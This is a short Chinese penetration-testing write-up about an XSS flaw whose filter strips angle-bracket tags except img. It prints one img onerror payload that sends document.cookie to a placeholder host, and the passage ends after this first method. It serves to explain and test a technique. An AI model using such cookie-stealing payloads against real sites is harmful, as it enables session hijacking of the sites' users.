XSS漏洞之加载远程js文件

前言

这次在对一个系统渗透测试过程中，发现一个XSS漏洞，可弹窗，并且没有httponly，但是在尝试加载远程js文件的时候发现，script标签被过滤掉了，准确的说应该是服务器后端在识别到输入内容有<>的时候，会把每对尖括号以及尖括号里面的内容都过滤掉，唯独有一个特例，就是img标签不会。

在网上找了一些资料，发现可以用img来加载远程js，陆陆续续试过以下几个方法:

1.第一种方法

<img src=x οnerrοr=document.body.appendChild(document.createElement('img')).src='//xxx.xxx/a?cookie='+document.cookie>

用这种方式是将cookie写入到自己搭建的服务器下的一个txt文件里，这种方式能起作用，但是没读到cookie，失败了。具体原因应该是img不能加载js文件。<